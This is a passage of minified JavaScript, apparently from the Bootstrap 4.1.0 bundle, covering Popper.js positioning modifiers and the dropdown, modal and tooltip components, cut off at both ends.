r=t.offsets,o=r.reference,s=r.popper,a=-1!==["bottom","top"].indexOf(n),l=a?"left":"top",c=a?"width":"height",f={start:Ft({},l,o[l]),end:Ft({},l,o[l]+o[c]-s[c])};t.offsets.popper=Ut({},s,f[i])}return t}},offset:{order:200,enabled:!0,fn:function(t,e){var n=e.offset,i=t.placement,r=t.offsets,o=r.popper,s=r.reference,a=i.split("-")[0],l=void 0;return l=oe(+n)?[+n,0]:ue(n,o,s,a),"left"===a?(o.top+=l[0],o.left-=l[1]):"right"===a?(o.top+=l[0],o.left+=l[1]):"top"===a?(o.left+=l[0],o.top-=l[1]):"bottom"===a&&(o.left+=l[0],o.top+=l[1]),t.popper=o,t},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(t,i){var e=i.boundariesElement||kt(t.instance.popper);t.instance.reference===e&&(e=kt(e));var r=Yt(t.instance.popper,t.instance.reference,i.padding,e,t.positionFixed);i.boundaries=r;var n=i.priority,o=t.offsets.popper,s={primary:function(t){var e=o[t];return o[t]<r[t]&&!i.escapeWithReference&&(e=Math.max(o[t],r[t])),Ft({},t,e)},secondary:function(t){var e="right"===t?"left":"top",n=o[e];return o[t]>r[t]&&!i.escapeWithReference&&(n=Math.min(o[e],r[t]-("right"===t?o.width:o.height))),Ft({},e,n)}};return n.forEach(function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";o=Ut({},o,s[e](t))}),t.offsets.popper=o,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,r=t.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]<o(i[l])&&(t.offsets.popper[l]=o(i[l])-n[c]),n[l]>o(i[a])&&(t.offsets.popper[l]=o(i[a])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!ae(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var r=t.placement.split("-")[0],o=t.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",f=l?"Top":"Left",h=f.toLowerCase(),u=l?"left":"top",d=l?"bottom":"right",p=zt(i)[c];a[d]-p<s[h]&&(t.offsets.popper[h]-=s[h]-(a[d]-p)),a[h]+p>s[d]&&(t.offsets.popper[h]+=a[h]+p-s[d]),t.offsets.popper=Bt(t.offsets.popper);var g=a[h]+a[c]/2-p/2,m=Dt(t.instance.popper),_=parseFloat(m["margin"+f],10),v=parseFloat(m["border"+f+"Width"],10),E=g-t.offsets.popper[h]-_-v;return E=Math.max(Math.min(s[c]-p,E),0),t.arrowElement=i,t.offsets.arrow=(Ft(n={},h,Math.round(E)),Ft(n,u,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,g){if(te(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var m=Yt(p.instance.popper,p.instance.reference,g.padding,g.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=Xt(_),E=p.placement.split("-")[1]||"",y=[];switch(g.behavior){case he.FLIP:y=[_,v];break;case he.CLOCKWISE:y=fe(_);break;case he.COUNTERCLOCKWISE:y=fe(_,!0);break;default:y=g.behavior}return y.forEach(function(t,e){if(_!==t||y.length===e+1)return p;_=p.placement.split("-")[0],v=Xt(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)<o(r.right)||"top"===_&&o(i.bottom)>o(r.top)||"bottom"===_&&o(i.top)<o(r.bottom),a=o(i.left)<o(m.left),l=o(i.right)>o(m.right),c=o(i.top)<o(m.top),f=o(i.bottom)>o(m.bottom),h="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&f,u=-1!==["top","bottom"].indexOf(_),d=!!g.flipVariations&&(u&&"start"===E&&a||u&&"end"===E&&l||!u&&"start"===E&&c||!u&&"end"===E&&f);(s||h||d)&&(p.flipped=!0,(s||h)&&(_=y[e+1]),d&&(E="end"===(n=E)?"start":"start"===n?"end":n),p.placement=_+(E?"-"+E:""),p.offsets.popper=Ut({},p.offsets.popper,Jt(p.instance.popper,p.offsets.reference,p.placement)),p=$t(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(t){var e=t.placement,n=e.split("-")[0],i=t.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),t.placement=Xt(e),t.offsets.popper=Bt(r),t}},hide:{order:800,enabled:!0,fn:function(t){if(!ae(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=Zt(t.instance.modifiers,function(t){return"preventOverflow"===t.name}).boundaries;if(e.bottom<n.top||e.left>n.right||e.top>n.bottom||e.right<n.left){if(!0===t.hide)return t;t.hide=!0,t.attributes["x-out-of-boundaries"]=""}else{if(!1===t.hide)return t;t.hide=!1,t.attributes["x-out-of-boundaries"]=!1}return t}},computeStyle:{order:850,enabled:!0,fn:function(t,e){var n=e.x,i=e.y,r=t.offsets.popper,o=Zt(t.instance.modifiers,function(t){return"applyStyle"===t.name}).gpuAcceleration;void 0!==o&&console.warn("WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!");var s=void 0!==o?o:e.gpuAcceleration,a=Kt(kt(t.instance.popper)),l={position:r.position},c={left:Math.floor(r.left),top:Math.floor(r.top),bottom:Math.floor(r.bottom),right:Math.floor(r.right)},f="bottom"===n?"top":"bottom",h="right"===i?"left":"right",u=ee("transform"),d=void 0,p=void 0;if(p="bottom"===f?-a.height+c.bottom:c.top,d="right"===h?-a.width+c.right:c.left,s&&u)l[u]="translate3d("+d+"px, "+p+"px, 0)",l[f]=0,l[h]=0,l.willChange="transform";else{var g="bottom"===f?-1:1,m="right"===h?-1:1;l[f]=p*g,l[h]=d*m,l.willChange=f+", "+h}var _={"x-placement":t.placement};return t.attributes=Ut({},_,t.attributes),t.styles=Ut({},l,t.styles),t.arrowStyles=Ut({},t.offsets.arrow,t.arrowStyles),t},gpuAcceleration:!0,x:"bottom",y:"right"},applyStyle:{order:900,enabled:!0,fn:function(t){var e,n;return se(t.instance.popper,t.styles),e=t.instance.popper,n=t.attributes,Object.keys(n).forEach(function(t){!1!==n[t]?e.setAttribute(t,n[t]):e.removeAttribute(t)}),t.arrowElement&&Object.keys(t.arrowStyles).length&&se(t.arrowElement,t.arrowStyles),t},onLoad:function(t,e,n,i,r){var o=qt(r,e,t,n.positionFixed),s=Gt(n.placement,o,e,t,n.modifiers.flip.boundariesElement,n.modifiers.flip.padding);return e.setAttribute("x-placement",s),se(e,{position:n.positionFixed?"fixed":"absolute"}),n},gpuAcceleration:void 0}}},pe=function(){function o(t,e){var n=this,i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};Ht(this,o),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=wt(this.update.bind(this)),this.options=Ut({},o.Defaults,i),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=t&&t.jquery?t[0]:t,this.popper=e&&e.jquery?e[0]:e,this.options.modifiers={},Object.keys(Ut({},o.Defaults.modifiers,i.modifiers)).forEach(function(t){n.options.modifiers[t]=Ut({},o.Defaults.modifiers[t]||{},i.modifiers?i.modifiers[t]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(t){return Ut({name:t},n.options.modifiers[t])}).sort(function(t,e){return t.order-e.order}),this.modifiers.forEach(function(t){t.enabled&&It(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var r=this.options.eventsEnabled;r&&this.enableEventListeners(),this.state.eventsEnabled=r}return Wt(o,[{key:"update",value:function(){return function(){if(!this.state.isDestroyed){var t={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};t.offsets.reference=qt(this.state,this.popper,this.reference,this.options.positionFixed),t.placement=Gt(this.options.placement,t.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),t.originalPlacement=t.placement,t.positionFixed=this.options.positionFixed,t.offsets.popper=Jt(this.popper,t.offsets.reference,t.placement),t.offsets.popper.position=this.options.positionFixed?"fixed":"absolute",t=$t(this.modifiers,t),this.state.isCreated?this.options.onUpdate(t):(this.state.isCreated=!0,this.options.onCreate(t))}}.call(this)}},{key:"destroy",value:function(){return function(){return this.state.isDestroyed=!0,te(this.modifiers,"applyStyle")&&(this.popper.removeAttribute("x-placement"),this.popper.style.position="",this.popper.style.top="",this.popper.style.left="",this.popper.style.right="",this.popper.style.bottom="",this.popper.style.willChange="",this.popper.style[ee("transform")]=""),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}.call(this)}},{key:"enableEventListeners",value:function(){return function(){this.state.eventsEnabled||(this.state=ie(this.reference,this.options,this.state,this.scheduleUpdate))}.call(this)}},{key:"disableEventListeners",value:function(){return re.call(this)}}]),o}();pe.Utils=("undefined"!=typeof window?window:global).PopperUtils,pe.placements=le,pe.Defaults=de;var ge,me,_e,ve,Ee,ye,be,Te,Ce,we,Ie,De,Ae,Se,Oe,Ne,ke,Le,Pe,xe,je,Re,Me,He,We,Fe,Ue,Be,Ke,Ve,Qe,Ye,Ge,qe,ze,Xe,Je,Ze,$e,tn,en,nn,rn,on,sn,an,ln,cn,fn,hn,un,dn,pn,gn,mn,_n,vn,En,yn,bn,Tn,Cn,wn,In,Dn,An,Sn,On,Nn,kn,Ln,Pn,xn,jn,Rn,Mn,Hn,Wn,Fn,Un,Bn,Kn,Vn,Qn,Yn,Gn,qn,zn,Xn,Jn,Zn,$n,ti,ei,ni,ii,ri,oi,si,ai,li,ci,fi,hi,ui,di,pi,gi,mi,_i,vi,Ei,yi,bi=(me="dropdown",ve="."+(_e="bs.dropdown"),Ee=".data-api",ye=(ge=e).fn[me],be=new RegExp("38|40|27"),Te={HIDE:"hide"+ve,HIDDEN:"hidden"+ve,SHOW:"show"+ve,SHOWN:"shown"+ve,CLICK:"click"+ve,CLICK_DATA_API:"click"+ve+Ee,KEYDOWN_DATA_API:"keydown"+ve+Ee,KEYUP_DATA_API:"keyup"+ve+Ee},Ce="disabled",we="show",Ie="dropup",De="dropright",Ae="dropleft",Se="dropdown-menu-right",Oe="position-static",Ne='[data-toggle="dropdown"]',ke=".dropdown form",Le=".dropdown-menu",Pe=".navbar-nav",xe=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",je="top-start",Re="top-end",Me="bottom-start",He="bottom-end",We="right-start",Fe="left-start",Ue={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic"},Be={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string"},Ke=function(){function l(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=l.prototype;return t.toggle=function(){if(!this._element.disabled&&!ge(this._element).hasClass(Ce)){var t=l._getParentFromElement(this._element),e=ge(this._menu).hasClass(we);if(l._clearMenus(),!e){var n={relatedTarget:this._element},i=ge.Event(Te.SHOW,n);if(ge(t).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar){if("undefined"==typeof pe)throw new TypeError("Bootstrap dropdown require Popper.js (https://popper.js.org)");var r=this._element;"parent"===this._config.reference?r=t:gt.isElement(this._config.reference)&&(r=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(r=this._config.reference[0])),"scrollParent"!==this._config.boundary&&ge(t).addClass(Oe),this._popper=new pe(r,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===ge(t).closest(Pe).length&&ge(document.body).children().on("mouseover",null,ge.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),ge(this._menu).toggleClass(we),ge(t).toggleClass(we).trigger(ge.Event(Te.SHOWN,n))}}}},t.dispose=function(){ge.removeData(this._element,_e),ge(this._element).off(ve),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(){var e=this;ge(this._element).on(Te.CLICK,function(t){t.preventDefault(),t.stopPropagation(),e.toggle()})},t._getConfig=function(t){return t=c({},this.constructor.Default,ge(this._element).data(),t),gt.typeCheckConfig(me,t,this.constructor.DefaultType),t},t._getMenuElement=function(){if(!this._menu){var t=l._getParentFromElement(this._element);this._menu=ge(t).find(Le)[0]}return this._menu},t._getPlacement=function(){var t=ge(this._element).parent(),e=Me;return t.hasClass(Ie)?(e=je,ge(this._menu).hasClass(Se)&&(e=Re)):t.hasClass(De)?e=We:t.hasClass(Ae)?e=Fe:ge(this._menu).hasClass(Se)&&(e=He),e},t._detectNavbar=function(){return 0<ge(this._element).closest(".navbar").length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t){return t.offsets=c({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(n.modifiers.applyStyle={enabled:!1}),n},l._jQueryInterface=function(e){return this.each(function(){var t=ge(this).data(_e);if(t||(t=new l(this,"object"==typeof e?e:null),ge(this).data(_e,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},l._clearMenus=function(t){if(!t||3!==t.which&&("keyup"!==t.type||9===t.which))for(var e=ge.makeArray(ge(Ne)),n=0;n<e.length;n++){var i=l._getParentFromElement(e[n]),r=ge(e[n]).data(_e),o={relatedTarget:e[n]};if(r){var s=r._menu;if(ge(i).hasClass(we)&&!(t&&("click"===t.type&&/input|textarea/i.test(t.target.tagName)||"keyup"===t.type&&9===t.which)&&ge.contains(i,t.target))){var a=ge.Event(Te.HIDE,o);ge(i).trigger(a),a.isDefaultPrevented()||("ontouchstart"in document.documentElement&&ge(document.body).children().off("mouseover",null,ge.noop),e[n].setAttribute("aria-expanded","false"),ge(s).removeClass(we),ge(i).removeClass(we).trigger(ge.Event(Te.HIDDEN,o)))}}}},l._getParentFromElement=function(t){var e,n=gt.getSelectorFromElement(t);return n&&(e=ge(n)[0]),e||t.parentNode},l._dataApiKeydownHandler=function(t){if((/input|textarea/i.test(t.target.tagName)?!(32===t.which||27!==t.which&&(40!==t.which&&38!==t.which||ge(t.target).closest(Le).length)):be.test(t.which))&&(t.preventDefault(),t.stopPropagation(),!this.disabled&&!ge(this).hasClass(Ce))){var e=l._getParentFromElement(this),n=ge(e).hasClass(we);if((n||27===t.which&&32===t.which)&&(!n||27!==t.which&&32!==t.which)){var i=ge(e).find(xe).get();if(0!==i.length){var r=i.indexOf(t.target);38===t.which&&0<r&&r--,40===t.which&&r<i.length-1&&r++,r<0&&(r=0),i[r].focus()}}else{if(27===t.which){var o=ge(e).find(Ne)[0];ge(o).trigger("focus")}ge(this).trigger("click")}}},s(l,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return Ue}},{key:"DefaultType",get:function(){return Be}}]),l}(),ge(document).on(Te.KEYDOWN_DATA_API,Ne,Ke._dataApiKeydownHandler).on(Te.KEYDOWN_DATA_API,Le,Ke._dataApiKeydownHandler).on(Te.CLICK_DATA_API+" "+Te.KEYUP_DATA_API,Ke._clearMenus).on(Te.CLICK_DATA_API,Ne,function(t){t.preventDefault(),t.stopPropagation(),Ke._jQueryInterface.call(ge(this),"toggle")}).on(Te.CLICK_DATA_API,ke,function(t){t.stopPropagation()}),ge.fn[me]=Ke._jQueryInterface,ge.fn[me].Constructor=Ke,ge.fn[me].noConflict=function(){return ge.fn[me]=ye,Ke._jQueryInterface},Ke),Ti=(Qe="modal",Ge="."+(Ye="bs.modal"),qe=(Ve=e).fn[Qe],ze={backdrop:!0,keyboard:!0,focus:!0,show:!0},Xe={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},Je={HIDE:"hide"+Ge,HIDDEN:"hidden"+Ge,SHOW:"show"+Ge,SHOWN:"shown"+Ge,FOCUSIN:"focusin"+Ge,RESIZE:"resize"+Ge,CLICK_DISMISS:"click.dismiss"+Ge,KEYDOWN_DISMISS:"keydown.dismiss"+Ge,MOUSEUP_DISMISS:"mouseup.dismiss"+Ge,MOUSEDOWN_DISMISS:"mousedown.dismiss"+Ge,CLICK_DATA_API:"click"+Ge+".data-api"},Ze="modal-scrollbar-measure",$e="modal-backdrop",tn="modal-open",en="fade",nn="show",rn={DIALOG:".modal-dialog",DATA_TOGGLE:'[data-toggle="modal"]',DATA_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",STICKY_CONTENT:".sticky-top",NAVBAR_TOGGLER:".navbar-toggler"},on=function(){function r(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=Ve(t).find(rn.DIALOG)[0],this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._scrollbarWidth=0}var t=r.prototype;return t.toggle=function(t){return this._isShown?this.hide():this.show(t)},t.show=function(t){var e=this;if(!this._isTransitioning&&!this._isShown){Ve(this._element).hasClass(en)&&(this._isTransitioning=!0);var n=Ve.Event(Je.SHOW,{relatedTarget:t});Ve(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),Ve(document.body).addClass(tn),this._setEscapeEvent(),this._setResizeEvent(),Ve(this._element).on(Je.CLICK_DISMISS,rn.DATA_DISMISS,function(t){return e.hide(t)}),Ve(this._dialog).on(Je.MOUSEDOWN_DISMISS,function(){Ve(e._element).one(Je.MOUSEUP_DISMISS,function(t){Ve(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),!this._isTransitioning&&this._isShown){var n=Ve.Event(Je.HIDE);if(Ve(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=Ve(this._element).hasClass(en);if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),Ve(document).off(Je.FOCUSIN),Ve(this._element).removeClass(nn),Ve(this._element).off(Je.CLICK_DISMISS),Ve(this._dialog).off(Je.MOUSEDOWN_DISMISS),i){var r=gt.getTransitionDurationFromElement(this._element);Ve(this._element).one(gt.TRANSITION_END,function(t){return e._hideModal(t)}).emulateTransitionEnd(r)}else this._hideModal()}}},t.dispose=function(){Ve.removeData(this._element,Ye),Ve(window,document,this._element,this._backdrop).off(Ge),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._scrollbarWidth=null},t.handleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=c({},ze,t),gt.typeCheckConfig(Qe,t,Xe),t},t._showElement=function(t){var e=this,n=Ve(this._element).hasClass(en);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.scrollTop=0,n&>.reflow(this._element),Ve(this._element).addClass(nn),this._config.focus&&this._enforceFocus();var i=Ve.Event(Je.SHOWN,{relatedTarget:t}),r=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,Ve(e._element).trigger(i)};if(n){var o=gt.getTransitionDurationFromElement(this._element);Ve(this._dialog).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r()},t._enforceFocus=function(){var e=this;Ve(document).off(Je.FOCUSIN).on(Je.FOCUSIN,function(t){document!==t.target&&e._element!==t.target&&0===Ve(e._element).has(t.target).length&&e._element.focus()})},t._setEscapeEvent=function(){var e=this;this._isShown&&this._config.keyboard?Ve(this._element).on(Je.KEYDOWN_DISMISS,function(t){27===t.which&&(t.preventDefault(),e.hide())}):this._isShown||Ve(this._element).off(Je.KEYDOWN_DISMISS)},t._setResizeEvent=function(){var e=this;this._isShown?Ve(window).on(Je.RESIZE,function(t){return e.handleUpdate(t)}):Ve(window).off(Je.RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._isTransitioning=!1,this._showBackdrop(function(){Ve(document.body).removeClass(tn),t._resetAdjustments(),t._resetScrollbar(),Ve(t._element).trigger(Je.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&(Ve(this._backdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=Ve(this._element).hasClass(en)?en:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=$e,n&&Ve(this._backdrop).addClass(n),Ve(this._backdrop).appendTo(document.body),Ve(this._element).on(Je.CLICK_DISMISS,function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._element.focus():e.hide())}),n&>.reflow(this._backdrop),Ve(this._backdrop).addClass(nn),!t)return;if(!n)return void t();var i=gt.getTransitionDurationFromElement(this._backdrop);Ve(this._backdrop).one(gt.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){Ve(this._backdrop).removeClass(nn);var r=function(){e._removeBackdrop(),t&&t()};if(Ve(this._element).hasClass(en)){var o=gt.getTransitionDurationFromElement(this._backdrop);Ve(this._backdrop).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r()}else t&&t()},t._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right<window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()},t._setScrollbar=function(){var r=this;if(this._isBodyOverflowing){Ve(rn.FIXED_CONTENT).each(function(t,e){var n=Ve(e)[0].style.paddingRight,i=Ve(e).css("padding-right");Ve(e).data("padding-right",n).css("padding-right",parseFloat(i)+r._scrollbarWidth+"px")}),Ve(rn.STICKY_CONTENT).each(function(t,e){var n=Ve(e)[0].style.marginRight,i=Ve(e).css("margin-right");Ve(e).data("margin-right",n).css("margin-right",parseFloat(i)-r._scrollbarWidth+"px")}),Ve(rn.NAVBAR_TOGGLER).each(function(t,e){var n=Ve(e)[0].style.marginRight,i=Ve(e).css("margin-right");Ve(e).data("margin-right",n).css("margin-right",parseFloat(i)+r._scrollbarWidth+"px")});var t=document.body.style.paddingRight,e=Ve(document.body).css("padding-right");Ve(document.body).data("padding-right",t).css("padding-right",parseFloat(e)+this._scrollbarWidth+"px")}},t._resetScrollbar=function(){Ve(rn.FIXED_CONTENT).each(function(t,e){var n=Ve(e).data("padding-right");"undefined"!=typeof n&&Ve(e).css("padding-right",n).removeData("padding-right")}),Ve(rn.STICKY_CONTENT+", "+rn.NAVBAR_TOGGLER).each(function(t,e){var n=Ve(e).data("margin-right");"undefined"!=typeof n&&Ve(e).css("margin-right",n).removeData("margin-right")});var t=Ve(document.body).data("padding-right");"undefined"!=typeof t&&Ve(document.body).css("padding-right",t).removeData("padding-right")},t._getScrollbarWidth=function(){var t=document.createElement("div");t.className=Ze,document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e},r._jQueryInterface=function(n,i){return this.each(function(){var t=Ve(this).data(Ye),e=c({},r.Default,Ve(this).data(),"object"==typeof n&&n);if(t||(t=new r(this,e),Ve(this).data(Ye,t)),"string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n](i)}else e.show&&t.show(i)})},s(r,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return ze}}]),r}(),Ve(document).on(Je.CLICK_DATA_API,rn.DATA_TOGGLE,function(t){var e,n=this,i=gt.getSelectorFromElement(this);i&&(e=Ve(i)[0]);var r=Ve(e).data(Ye)?"toggle":c({},Ve(e).data(),Ve(this).data());"A"!==this.tagName&&"AREA"!==this.tagName||t.preventDefault();var o=Ve(e).one(Je.SHOW,function(t){t.isDefaultPrevented()||o.one(Je.HIDDEN,function(){Ve(n).is(":visible")&&n.focus()})});on._jQueryInterface.call(Ve(e),r,this)}),Ve.fn[Qe]=on._jQueryInterface,Ve.fn[Qe].Constructor=on,Ve.fn[Qe].noConflict=function(){return Ve.fn[Qe]=qe,on._jQueryInterface},on),Ci=(an="tooltip",cn="."+(ln="bs.tooltip"),fn=(sn=e).fn[an],hn="bs-tooltip",un=new RegExp("(^|\\s)"+hn+"\\S+","g"),gn={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!(pn={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},_n="out",vn={HIDE:"hide"+cn,HIDDEN:"hidden"+cn,SHOW:(mn="show")+cn,SHOWN:"shown"+cn,INSERTED:"inserted"+cn,CLICK:"click"+cn,FOCUSIN:"focusin"+cn,FOCUSOUT:"focusout"+cn,MOUSEENTER:"mouseenter"+cn,MOUSELEAVE:"mouseleave"+cn},En="fade",yn="show",bn=".tooltip-inner",Tn=".arrow",Cn="hover",wn="focus",In="click",Dn="manual",An=function(){function i(t,e){if("undefined"==typeof pe)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=sn(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(sn(this.getTipElement()).hasClass(yn))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),sn.removeData(this.element,this.constructor.DATA_KEY),sn(this.element).off(this.constructor.EVENT_KEY),sn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&sn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===sn(this.element).css("display"))throw new Error("Please use show on visible elements");var t=sn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){sn(this.element).trigger(t);var n=sn.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=gt.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&sn(i).addClass(En);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:sn(this.config.container);sn(i).data(this.constructor.DATA_KEY,this),sn.contains(this.element.ownerDocument.documentElement,this.tip)||sn(i).appendTo(a),sn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new pe(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Tn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),sn(i).addClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().on("mouseover",null,sn.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,sn(e.element).trigger(e.constructor.Event.SHOWN),t===_n&&e._leave(null,e)};if(sn(this.tip).hasClass(En)){var c=gt.getTransitionDurationFromElement(this.tip);sn(this.tip).one(gt.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=sn.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==mn&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),sn(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(sn(this.element).trigger(i),!i.isDefaultPrevented()){if(sn(n).removeClass(yn),"ontouchstart"in 